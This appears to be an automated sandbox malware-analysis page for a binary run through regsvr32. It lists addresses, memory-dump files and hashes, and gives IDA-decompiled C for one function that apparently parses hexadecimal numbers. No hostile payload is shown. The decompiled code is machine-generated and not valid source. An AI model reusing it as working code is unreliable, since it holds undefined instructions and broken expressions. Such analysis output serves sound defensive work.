0x0041970c
0x00419711
0x00419711
0x00419711
0x00419715
0x00419717
0x0041971d
0x00419721
0x00419723
0x00419726
0x00419729
0x0041976f
0x0041976f
0x0041972b
0x0041972f
0x00419732
0x00419735
0x0041974d
0x00419750
0x00419753
0x00419757
0x0041975a
0x00419737
0x0041973b
0x0041973e
0x00000000
0x00419740
0x00419740
0x00419740
0x0041973e
0x00419761
0x00419767
0x00000000
0x00419769
0x00419769
0x00419769
0x00419767
0x00419776
0x00419776
0x0041977a
0x0041977e
0x00419782
0x0041978e
0x0041978e
0x00419792
0x00419795
0x00419798
0x004197fa
0x004197fa
0x00419801
0x00000000
0x0041979a
0x0041979a
0x0041979e
0x004197a1
0x004197a4
0x004197c0
0x004197c3
0x004197c6
0x004197a6
0x004197a6
0x004197aa
0x004197ac
0x004197ae
0x00000000
0x004197b0
0x004197b2
0x004197b8
0x004197bb
0x004197bb
0x004197ae
0x004197cd
0x004197d2
0x00000000
0x004197d4
0x004197d4
0x004197d7
0x004197db
0x004197de
0x00419805
0x00419805
0x004197e0
0x004197e4
0x004197e7
0x004197ea
0x00419809
0x0041980c
0x0041980f
0x004197ec
0x004197f0
0x004197f3
0x00000000
0x004197f5
0x004197f5
0x004197f5
0x004197f3
0x00419816
0x00419818
0x0041981d
0x0041981d
0x0041981d
0x004197de
0x004197d2
0x00419825
0x00419828
0x0041982b
0x00419861
0x00419861
0x0041982d
0x00419831
0x00419834
0x00419837
0x00419847
0x0041984a
0x0041984d
0x00419839
0x0041983d
0x00419840
0x00000000
0x00419842
0x00419842
0x00419842
0x00419840
0x00419856
0x0041985c
0x0041985c
0x00419863
0x00419867
0x00419869
0x0041986f
0x00419873
0x00419875
0x00419878
0x0041987b
0x004198b2
0x004198b2
0x0041987d
0x00419881
0x00419884
0x00419887
0x00419897
0x0041989a
0x0041989d
0x00419889
0x0041988d
0x00419890
0x00000000
0x00419892
0x00419892
0x00419892
0x00419890
0x004198a4
0x004198aa
0x00000000
0x004198ac
0x004198ac
0x004198ac
0x004198aa
0x004198b9
0x004198b9
0x004198bd
0x004198c1
0x004198c5
0x004198f2
0x004198f6
0x004198f8
0x004198fd
0x00419900
0x00419903
0x00000000
0x00419905
0x00419905
0x00419909
0x0041990c
0x0041990f
0x0041992b
0x0041992e
0x00000000
0x00419911
0x00419911
0x00419915
0x00419917
0x00419919
0x00000000
0x00000000
0x00000000
0x00000000
0x00419919
0x00000000
0x0041990f
0x00000000
0x00419903
0x004198c7
0x004198c7
0x004198cc
0x004198cf
0x004198d2
0x00419943
0x00419943
0x0041994a
0x004198d4
0x004198d4
0x004198d8
0x004198db
0x004198de
0x004198ea
0x004198ed
0x00419931
0x00419931
0x004198e0
0x004198e0
0x004198e4
0x004198e6
0x004198e8
0x0041991b
0x0041991d
0x00419923
0x00419926
0x00000000
0x00000000
0x00000000
0x004198e8
0x00419935
0x00419938
0x0041993d
0x00000000
0x0041993f
0x0041993f
0x0041993f
0x0041993d
0x0041994c
0x0041994c
0x0041994c
0x00419950
0x00419953
0x00419953
0x004198c5
0x00419966
0x00419966
0x00419969
0x0041996c
0x00419971
0x00000000
0x00000000
0x00419977
0x0041997a
0x0041997d
0x00419990
0x00419993
0x0041997f
0x00419983
0x00419986
0x00000000
0x00419988
0x00419988
0x00419988
0x00419986
0x00419999
0x0041999b
0x004199a0
0x004199a0
0x004199a4
0x004199a8
0x004199ab
0x004199ae
0x00419a10
0x00419a12
0x00000000
0x00000000
0x00419a14
0x004199b0
0x004199b4
0x004199b7
0x004199ba
0x004199ca
0x004199cd
0x004199bc
0x004199c0
0x004199c3
0x00000000
0x004199c5
0x004199c5
0x004199c5
0x004199c3
0x004199de
0x004199e0
0x004199e6
0x004199e6
0x004199ea
0x004199ec
0x004199ef
0x004199f2
0x00419a30
0x00419a30
0x004199f4
0x004199f8
0x004199fb
0x004199fe
0x00419a19
0x00419a1c
0x00419a00
0x00419a04
0x00419a07
0x00000000
0x00419a09
0x00419a09
0x00419a09
0x00419a07
0x00419a22
0x00419a28
0x00000000
0x00419a2a
0x00419a2a
0x00419a2a
0x00419a28
0x00419a37
0x00419a37
0x00419a3f
0x00419a43
0x00419a45
0x00419a48
0x00419a4b
0x00419a90
0x00419a90
0x00419a97
0x00000000
0x00419a4d
0x00419a4d
0x00419a51
0x00419a54
0x00419a57
0x00419a73
0x00419a76
0x00419a59
0x00419a59
0x00419a5d
0x00419a5f
0x00419a61
0x00000000
0x00419a63
0x00419a65
0x00419a6b
0x00419a6e
0x00419a6e
0x00419a61
0x00419a7c
0x00419a81
0x00000000
0x00419a83
0x00419a83
0x00419960
0x00419960
0x00419963
0x00000000
0x00419963
0x00419b3f
0x00419b3f
0x00419b3f
0x00419b42
0x00419b45
0x00419b4a
0x00000000
0x00000000
0x00419b50
0x00419b53
0x00419b56
0x00419b66
0x00419b69
0x00419b58
0x00419b5c
0x00419b5f
0x00000000
0x00419b61
0x00419b61
0x00419b61
0x00419b5f
0x00419b6f
0x00419b71
0x00419b76
0x00419b76
0x00419b7a
0x00419b7e
0x00419b81
0x00419b84
0x00419be4
0x00419be6
0x00419be8
0x00000000
0x00000000
0x00419bea
0x00419b86
0x00419b8a
0x00419b8d
0x00419b90
0x00419ba0
0x00419ba3
0x00419b92
0x00419b96
0x00419b99
0x00000000
0x00419b9b
0x00419b9b
0x00419b9b
0x00419b99
0x00419bab
0x00419bb1
0x00419bb6
0x00419bbc
0x00419bbc
0x00419bc0
0x00419bc2
0x00419bc5
0x00419bc8
0x00419c03
0x00419c03
0x00419bca
0x00419bce
0x00419bd1
0x00419bd4
0x00419bec
0x00419bef
0x00419bd6
0x00419bda
0x00419bdd
0x00000000
0x00419bdf
0x00419bdf
0x00419bdf
0x00419bdd
0x00419bf5
0x00419bfb
0x00000000
0x00419bfd
0x00419bfd
0x00419bfd
0x00419bfb
0x00419c0a
0x00419c0a
0x00419c0e
0x00419c12
0x00419c15
0x00419c20
0x00419c20
0x00419c24
0x00419c28
0x00419c2b
0x00000000
0x00000000
0x00419c31
0x00419c34
0x00000000
0x00419c36
0x00000000
0x00419c36
0x00000000
0x00419c34
0x00419ac7
0x00419aca
0x00419ace
0x00419ad4
0x00419ad8
0x00419ae4
0x00419ae8
0x00419aeb
0x00419aeb
0x00419aeb
0x00419aee
0x00419af1
0x00419af4
0x00419b30
0x00419b30
0x00419b37
0x00419af6
0x00419af6
0x00419afa
0x00419afd
0x00419b00
0x00419b1c
0x00419b1f
0x00419b02
0x00419b02
0x00419b06
0x00419b08
0x00419b0a
0x00000000
0x00419b0c
0x00419b0c
0x00419b0e
0x00419b14
0x00419b17
0x00419b17
0x00419b0a
0x00419b25
0x00419b2a
0x00000000
0x00419b2c
0x00419b2c
0x00419b2c
0x00419b2a
0x00419b39
0x00419b3c
0x00000000
0x00419b3c
0x00419ace
0x00419bb6
0x00419c3b
0x00419c3f
0x00419c42
0x00419c45
0x00000000
0x00419c45
0x00419b3f
0x00000000
0x00419a4b
0x00419a43
0x004199e0
0x00419a9e
0x00419aa1
0x00419aa5
0x00419aa7
0x00419aa9
0x00419aae
0x00419aae
0x00419aae
0x00419ab1
0x00419ab4
0x00000000
0x00419ab4
0x00419784
0x00419784
0x00419788
0x00000000
0x00000000
0x00419788
0x00419782
0x00419675
0x00419675
0x00419679
0x00419679
0x00000000
0x00419673
0x00419561
0x00000000
0x00419280
0x00000000

Strings

0123456789ABCDEFabcdef-+XxPp, xrefs: 00418821

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+XxPp
API String ID: 0-3606100449
Opcode ID: 97e59a4c5ca4206afec1edf8772d4ce6ed2b6505a5ed4ab9f5d0d47ece084a97
Instruction ID: 2831603b09b6b7cff206dbe5e9364b1d435361241f0cc044fe266a123e8bb316
Opcode Fuzzy Hash: 97e59a4c5ca4206afec1edf8772d4ce6ed2b6505a5ed4ab9f5d0d47ece084a97
Instruction Fuzzy Hash: 5E023976605A5489EB248F1AC4903BE3361EB44F88F68942BEE4E5B754DF3DC8C2D358

Uniqueness

Uniqueness Score: -1.00%

Function 004186ED Relevance: 1.7, Strings: 1, Instructions: 482
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E004186ED(void* __ebx, signed int __ecx, void* __edx, void* __esp, void* __eflags, void* __rax, void* __rbx, signed int __rdx, signed int* __rdi, long long* __r8, long long __r9, void* __r12, void* __r13, void* __r14, void* __r15, intOrPtr _a12, intOrPtr _a14, intOrPtr _a16, intOrPtr _a18, intOrPtr _a20, intOrPtr _a22, long long _a32, char _a40, short _a48, long long _a64, long long _a72, signed int _a84, signed int _a88, void* _a96, signed int _a108, signed int _a112, intOrPtr _a224, signed int* _a232) {
				char _v32;
				char _v34;
				void* _v40;
				void* _v48;
				intOrPtr* _v56;
				long long _v64;
				char _v80;
				void* _v88;
				char _v192;
				void* _t415;
				void* _t416;
				void* _t423;
				signed int _t427;
				signed short _t430;
				signed short _t431;
				signed short _t433;
				signed short _t436;
				signed short _t438;
				signed short _t439;
				signed short _t442;
				signed short _t443;
				signed short _t445;
				signed int _t447;
				signed short _t448;
				signed short _t449;
				signed short _t451;
				signed short _t452;
				signed short _t454;
				signed short _t456;
				signed short _t458;
				signed short _t459;
				signed short _t460;
				signed short _t461;
				signed short _t462;
				signed short _t465;
				signed short _t466;
				signed short _t467;
				signed short _t468;
				signed short _t469;
				signed short _t470;
				signed short _t471;
				signed short _t475;
				signed short _t477;
				signed short _t478;
				signed short _t479;
				signed short _t481;
				signed short _t483;
				signed short _t485;
				signed short _t487;
				void* _t489;
				signed int _t492;
				signed short _t493;
				signed short _t494;
				signed short _t495;
				signed short _t496;
				signed int _t500;
				signed int _t501;
				signed short _t502;
				signed short _t503;
				signed short _t505;
				signed short _t506;
				signed short _t508;
				signed short _t510;
				signed short _t512;
				signed short _t513;
				signed short _t515;
				signed int _t517;
				signed short _t518;
				signed short _t519;
				signed short _t521;
				signed short _t522;
				signed short _t524;
				void* _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t541;
				signed short _t547;
				signed int _t548;
				signed int _t550;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				void* _t557;
				signed int _t558;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t708;
				intOrPtr* _t709;
				intOrPtr* _t711;
				intOrPtr* _t714;
				signed short* _t717;
				char* _t719;
				signed long long _t721;
				intOrPtr _t726;
				char* _t731;
				signed long long _t733;
				signed short* _t735;
				signed short** _t737;
				signed short* _t740;
				signed short* _t743;
				signed short* _t746;
				signed short** _t748;
				signed short* _t751;
				signed short* _t754;
				signed short** _t756;
				signed short* _t760;
				signed short* _t763;
				signed short** _t765;
				signed short* _t768;
				signed short* _t771;
				signed short* _t774;
				signed short* _t777;
				char* _t779;
				signed long long _t781;
				signed short* _t783;
				signed short** _t785;
				signed short* _t788;
				signed short* _t791;
				char* _t794;
				signed short* _t797;
				signed short** _t799;
				signed short* _t802;
				signed short* _t805;
				intOrPtr* _t807;
				signed short** _t809;
				signed short* _t812;
				signed short* _t815;
				signed short* _t818;
				char* _t820;
				signed int _t821;
				signed short* _t823;
				signed short** _t825;
				signed short* _t828;
				signed short* _t831;
				signed short* _t833;
				intOrPtr _t834;
				void* _t837;
				long long _t838;
				intOrPtr* _t839;
				signed short* _t842;
				long long* _t844;
				signed int _t848;
				void* _t851;
				signed int _t854;
				signed short** _t857;
				signed short* _t860;
				signed short* _t865;
				signed short** _t867;
				signed short* _t871;
				signed short* _t874;
				signed short* _t877;
				intOrPtr* _t879;
				intOrPtr* _t880;
				void* _t882;
				long long* _t883;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t899;
				intOrPtr* _t900;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr* _t906;
				intOrPtr* _t907;
				intOrPtr _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t913;
				intOrPtr* _t914;
				intOrPtr* _t916;
				intOrPtr* _t919;
				intOrPtr* _t920;
				intOrPtr* _t922;
				intOrPtr* _t923;
				intOrPtr* _t925;
				intOrPtr* _t926;
				intOrPtr* _t927;
				intOrPtr* _t929;
				intOrPtr* _t931;
				char* _t934;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t938;
				intOrPtr* _t939;
				intOrPtr* _t941;
				intOrPtr* _t944;
				intOrPtr* _t946;
				char* _t948;
				intOrPtr* _t950;
				intOrPtr* _t952;
				intOrPtr* _t953;
				intOrPtr* _t954;
				intOrPtr _t955;
				char* _t956;
				signed long long _t958;
				void* _t960;
				intOrPtr _t963;
				intOrPtr _t964;
				intOrPtr* _t966;
				char* _t970;
				intOrPtr* _t972;
				intOrPtr* _t974;
				intOrPtr* _t975;
				intOrPtr* _t976;
				intOrPtr* _t978;
				intOrPtr* _t979;
				intOrPtr* _t981;
				intOrPtr* _t982;
				intOrPtr* _t984;
				intOrPtr* _t985;
				intOrPtr* _t988;
				signed int _t989;
				signed short* _t992;
				signed short* _t996;
				signed short* _t1000;
				signed short* _t1003;
				signed short* _t1008;
				signed short* _t1012;
				signed short* _t1016;
				signed short* _t1020;
				signed short* _t1029;
				signed short* _t1030;
				signed short* _t1033;
				signed short* _t1038;
				signed int* _t1044;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				signed int* _t1050;
				signed int* _t1051;
				intOrPtr* _t1052;
				signed int* _t1053;
				signed int* _t1054;
				signed int _t1055;
				void* _t1056;
				intOrPtr _t1057;
				intOrPtr* _t1058;
				long long _t1060;
				signed short* _t1062;
				intOrPtr* _t1063;
				char* _t1064;
				void* _t1068;
				long long* _t1071;
				signed int _t1073;
				signed int _t1076;
				long long _t1077;
				void* _t1079;
				void* _t1080;
				intOrPtr* _t1081;
				long long _t1082;
				char* _t1083;
				signed int _t1085;
				char* _t1086;
				void* _t1087;
				void* _t1088;
				char* _t1090;
				void* _t1091;
				signed int _t1092;
				char* _t1093;
				long long _t1094;
				signed int _t1096;
				void* _t1097;
				short* _t1098;
				long long _t1101;
				long long _t1102;

				_t1097 = __r15;
				_t1091 = __r14;
				_t1088 = __r13;
				_t1080 = __r12;
				_t1077 = __r9;
				_t1071 = __r8;
				_t1044 = __rdi;
				_t989 = __rdx;
				_t882 = __rbx;
				_t602 = __esp;
				_t549 = __edx;
				_t531 = __ecx;
				_t530 = __ebx;
				_t415 = E00401F90(__ecx, __edx, __eflags, __rax, __rax, __rdx, __r8);
				asm("ud2");
				_t1056 = __rax;
				_t708 = _v32;
				if(_t708 >= 0x10) {
					_t988 = _v56;
					if(_t708 + 1 >= 0x1000) {
						_t988 =  *((intOrPtr*)(_t988 - 8));
					}
					_t415 = E00402090(_t415, _t988);
				}
				_t416 = E0044CEA0(_t415, _t1056);
				asm("ud2");
				_t709 =  *_t1063;
				 *_t709 =  *_t709 + _t416;
				 *_t709 =  *_t709 + _t416;
				0;
				0;
				_t1064 =  &_v192;
				_a96 = _t1077;
				_t883 = _t1071;
				_t1092 = _t989;
				_t1057 = _a224;
				_t887 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_v32 = _t887;
				_t711 =  *_t887;
				 *((intOrPtr*)(_t711 + 0x10))(_t882, _t1044, _t1056, _t1080, _t1088, _t1091, _t1097, _t1063, _t1068);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1071, _t1077, _t1079, _t1080, _t1088, _t1092, _t1097);
				_t1081 = _t711;
				_t889 = _v32;
				if(_t889 != 0) {
					_t880 =  *_t889;
					 *((intOrPtr*)(_t880 + 0x18))();
					if(_t880 != 0) {
						 *((intOrPtr*)( *_t880 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1081 + 0x30))();
				_t891 =  *((intOrPtr*)( *((intOrPtr*)(_t1057 + 0x40))));
				_a40 = _t891;
				_t714 =  *_t891;
				 *((intOrPtr*)(_t714 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1071, _t1077, _t1079, _t1092);
				_t1058 = _t714;
				_t893 = _a40;
				if(_t893 != 0) {
					_t879 =  *_t893;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1058 + 0x68))();
				_t895 =  *_t883;
				_t568 = 0;
				_t558 = 0;
				if(_t895 != 0) {
					_t877 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t877 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t524 =  *_t877 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t896 =  *_a96;
				if(_t896 != 0) {
					_t874 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t874 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t896 + 0x38))();
					} else {
						_t522 =  *_t874 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1098 = _t1092;
				if(_t558 != _t568) {
					if( *(_t883 + 8) == 0) {
						_t985 =  *_t883;
						if(_t985 == 0) {
							L35:
							 *_t883 = 0;
						} else {
							_t871 =  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x38))));
							if(_t871 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t985 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t985 + 0x38))();
							} else {
								_t521 =  *_t871 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L35;
							} else {
								 *(_t883 + 0xa) = _t521;
							}
						}
						 *(_t883 + 8) = 1;
					}
					_t517 =  *(_t883 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1098 = _t1092;
						if(_t517 == _a12) {
							 *_t1092 = 0x2d;
							_t982 =  *_t883;
							__eflags = _t982;
							if(_t982 == 0) {
								goto L50;
							} else {
								_t867 =  *((intOrPtr*)(_t982 + 0x38));
								_t1038 =  *_t867;
								__eflags = _t1038;
								if(_t1038 == 0) {
									L47:
									_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
								} else {
									_t1044 =  *((intOrPtr*)(_t982 + 0x50));
									_t600 =  *_t1044;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L47;
									} else {
										goto L46;
									}
								}
								goto L48;
							}
							goto L51;
						}
					} else {
						 *_t1092 = 0x2b;
						_t984 =  *_t883;
						if(_t984 == 0) {
							L50:
							 *_t883 = 0;
							_t518 = 1;
						} else {
							_t867 =  *((intOrPtr*)(_t984 + 0x38));
							_t1038 =  *_t867;
							if(_t1038 == 0) {
								L41:
								_t519 =  *((intOrPtr*)( *_t984 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t984 + 0x50));
								_t600 =  *_t1044;
								if(_t600 > 0) {
									L46:
									 *_t1044 = _t600 - 1;
									 *_t867 =  &(_t1038[1]);
									_t519 =  *_t1038 & 0x0000ffff;
								} else {
									goto L41;
								}
							}
							L48:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L50;
							} else {
								_t518 = 0;
							}
						}
						L51:
						_t1098 = _t1092 + 1;
						 *(_t883 + 8) = _t518;
					}
				}
				 *_t1098 = 0x7830;
				_t897 =  *_t883;
				_t569 = 0;
				_t559 = 0;
				if(_t897 != 0) {
					_t865 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
					if(_t865 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t897 + 0x38))();
					} else {
						_t515 =  *_t865 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t717 = _a96;
				_t898 =  *_t717;
				if(_t898 != 0) {
					_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
					if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x50)))) <= 0) {
						_t717 =  *_t898;
						_t513 = _t717[0x1c]();
					} else {
						_t513 =  *_t717 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L119:
					_t559 = 0;
				} else {
					if( *(_t883 + 8) == 0) {
						_t981 =  *_t883;
						if(_t981 == 0) {
							L73:
							 *_t883 = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t981 + 0x50)))) <= 0) {
								_t717 =  *_t981;
								_t512 = _t717[0x1c]();
							} else {
								_t512 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L73;
							} else {
								 *(_t883 + 0xa) = _t512;
							}
						}
						 *(_t883 + 8) = 1;
					}
					if(( *(_t883 + 0xa) & 0x0000ffff) != _v32) {
						goto L119;
					} else {
						_t974 =  *_t883;
						if(_t974 == 0) {
							L86:
							 *_t883 = 0;
							 *(_t883 + 8) = 1;
							goto L87;
						} else {
							_t857 =  *((intOrPtr*)(_t974 + 0x38));
							_t1033 =  *_t857;
							if(_t1033 == 0) {
								L80:
								_t508 =  *((intOrPtr*)( *_t974 + 0x40))();
							} else {
								_t1044 =  *((intOrPtr*)(_t974 + 0x50));
								_t598 =  *_t1044;
								if(_t598 <= 0) {
									goto L80;
								} else {
									 *_t1044 = _t598 - 1;
									 *_t857 =  &(_t1033[1]);
									_t508 =  *_t1033 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L86;
							} else {
								_t979 =  *_t883;
								 *(_t883 + 8) = 0;
								if(_t979 == 0) {
									L87:
									_t595 = 0;
								} else {
									_t860 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
									if(_t860 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t979 + 0x38))();
									} else {
										_t510 =  *_t860 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t717 = _a96;
						_t975 =  *_t717;
						if(_t975 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x38))));
							if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t975 + 0x50)))) <= 0) {
								_t717 =  *_t975;
								_t506 = _t717[0x1c]();
							} else {
								_t506 =  *_t717 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t883 + 8) == 0) {
								_t978 =  *_t883;
								if(_t978 == 0) {
									L106:
									 *_t883 = 0;
								} else {
									_t717 =  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x38))));
									if(_t717 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t978 + 0x50)))) <= 0) {
										_t717 =  *_t978;
										_t505 = _t717[0x1c]();
									} else {
										_t505 =  *_t717 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L106;
									} else {
										 *(_t883 + 0xa) = _t505;
									}
								}
								 *(_t883 + 8) = 1;
							}
							_t501 =  *(_t883 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t976 =  *_t883;
								if(_t976 == 0) {
									L117:
									 *_t883 = 0;
									_t502 = 1;
								} else {
									_t717 =  *((intOrPtr*)(_t976 + 0x38));
									_t1030 =  *_t717;
									if(_t1030 == 0) {
										L114:
										_t717 =  *_t976;
										_t503 = _t717[0x20]();
									} else {
										_t1044 =  *((intOrPtr*)(_t976 + 0x50));
										_t596 =  *_t1044;
										if(_t596 <= 0) {
											goto L114;
										} else {
											 *_t1044 = _t596 - 1;
											 *_t717 =  &(_t1030[1]);
											_t503 =  *_t1030 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L117;
									} else {
										_t502 = 0;
									}
								}
								 *(_t883 + 8) = _t502;
								goto L119;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1098 + 2;
				_t1060 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1060;
				_v48 = _t1081;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1082 = _t1092;
					r13d = 0;
					_t1093 =  &_v34;
					r15d = 0;
					while(1) {
						_t899 =  *_t883;
						__eflags = _t899;
						_t560 = 0;
						if(_t899 == 0) {
							goto L147;
						}
						_t823 =  *((intOrPtr*)( *((intOrPtr*)(_t899 + 0x38))));
						__eflags = _t823;
						if(_t823 == 0) {
							L145:
							_t487 =  *((intOrPtr*)( *_t899 + 0x38))();
						} else {
							__eflags =  *( *(_t899 + 0x50));
							if( *( *(_t899 + 0x50)) <= 0) {
								goto L145;
							} else {
								_t487 =  *_t823 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L147:
						_t900 =  *_a96;
						__eflags = _t900;
						if(_t900 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L153;
							} else {
							}
						} else {
							_t831 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t831;
							if(_t831 == 0) {
								L151:
								_t483 =  *((intOrPtr*)( *_t900 + 0x38))();
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L151;
								} else {
									_t483 =  *_t831 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L153:
								__eflags =  *(_t883 + 8);
								if( *(_t883 + 8) == 0) {
									_t952 =  *_t883;
									__eflags = _t952;
									if(_t952 == 0) {
										L163:
										 *_t883 = 0;
									} else {
										_t828 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
										__eflags = _t828;
										if(_t828 == 0) {
											L160:
											_t424 =  *((intOrPtr*)( *_t952 + 0x38))();
										} else {
											__eflags =  *( *(_t952 + 0x50));
											if( *( *(_t952 + 0x50)) <= 0) {
												goto L160;
											} else {
												_t424 =  *_t828 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L163;
										} else {
											 *(_t883 + 0xa) = _t424;
										}
									}
									 *(_t883 + 8) = 1;
								}
								_t532 =  *(_t883 + 0xa) & 0x0000ffff;
								_t719 = _t1093;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t719 + 2) & 0x0000ffff;
									_t719 = _t719 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L172;
								}
								_t721 = _t719 -  &_v32 >> 1;
								__eflags = _t721 - 0x15;
								if(_t721 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L131:
											_t948 = _a112;
											 *_t948 =  *((intOrPtr*)(_t721 + "0123456789ABCDEFabcdef-+XxPp"));
